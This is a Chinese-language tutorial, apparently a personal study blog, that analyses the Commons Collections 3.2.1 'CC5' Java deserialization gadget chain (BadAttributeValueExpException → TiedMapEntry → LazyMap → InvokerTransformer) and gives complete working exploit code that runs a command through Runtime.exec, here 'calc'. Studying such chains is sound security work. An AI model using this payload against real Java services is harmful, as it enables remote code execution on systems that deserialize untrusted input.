环境

commons-collections版本如下,这里我一直参考的博客没说,但如果是4.0的话是有问题的后面会提到,其它环境没变

1
2
3
4
5
<dependency>  
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

链子分析

CC5就是改了入口点然后和CC1的LazyMap连接起来,组长后面两条链子没有详细讲了,因为大同小异,这里直接给了入口类,因为这条链子自己去找还是比较困难的,为BadAttributeValueExpExceptionreadObject()方法,然后要和LazyMap.get()连上,那么就是找谁调用了get()方法这里如果去find usages去找的话很麻烦,调用实在太多了就直接看吧,最后是找到了TiedMapEntry类的getValue()方法调用了LazyMap.get()
image-20230709134237186
这里的map就是LazyMap的对象,我们在给TiedMapEntry类实例化的时候会传LazyMap,而这个类的toString()方法调用了getValue()方法,接下来就是把TiedMapEntry类的toString()方法和入口类BadAttributeValueExpExceptionreadObject()方法连起来这条链子就完成了
image-20230709134339935
发现readObject方法这里valObj调用了toString()方法,想办法让valObj变为TiedMapEntry类的对象就行了,先看一下它的初始化

1
2
ObjectInputStream.GetField gf = ois.readFields();  
Object valObj = gf.get("val", null);

那么其实valObj就是valval就是BadAttributeValueExpException 类中直接定义的
image-20230709134416810
那么通过反射修改就行了,再来看为什么BadAttributeValueExpException 类可以反序列化

1
2
3
public class BadAttributeValueExpException extends Exception   {
public class Exception extends Throwable {
public class Throwable implements Serializable {

至此链子分析就结束了

EXP编写

后面的命令执行CC1的LazyMap可以用所以直接拿过来就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC5Dome {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object,Object> decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

Class<LazyMap> lazyMapClass = LazyMap.class;
Method LazyMapget = lazyMapClass.getDeclaredMethod("get", Object.class);
LazyMapget.setAccessible(true);
LazyMapget.invoke(decorateMap,chainedTransformer);


}
}

image-20230709134433612
执行成功,在这里我发现commons-collections版本得用3.2.1不然下面这个地方就会报错
image-20230709134754280
因为在commons-collections 4.0版本LazyMap里面没有这个方法
image-20230709134451829
那么接下来就得把TiedMapEntry类和LazyMap类连起来,那么先看一看这个类的构造函数

1
2
3
4
5
public TiedMapEntry(final Map<K, V> map, final K key) {  
super();
this.map = map;
this.key = key;
}

是一个public类那么调用就更加简单了,所以这里只需要把LazyMap的对象decorateMap传入即可,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC5Dome {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object,Object> decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "value");
tiedMapEntry.toString();

}
}

现在就是和入口类连起来,BadAttributeValueExpException 的作用域是public所以直接new一个对象就行,如下

1
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

然后就是让val变为TiedMapEntry的对象,因为这个变量是私有的所以利用反射修改

1
2
3
4
Class c = Class.forName("javax.management.BadAttributeValueExpException");  
Field declaredField = c.getDeclaredField("val");
declaredField.setAccessible(true);
declaredField.set(badAttributeValueExpException,tiedMapEntry);

到这里就结束了,完整EXP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC5Dome {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object,Object> decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "value");

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

Class c = Class.forName("javax.management.BadAttributeValueExpException");
Field declaredField = c.getDeclaredField("val");
declaredField.setAccessible(true);
declaredField.set(badAttributeValueExpException,tiedMapEntry);

// serialize(badAttributeValueExpException);
unserialize("ser.bin");
}



public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

image-20230709134507676

流程图

image-20230709134826810
等把CC系列弄完了再把这个流程图好好弄弄,相当于总结一遍了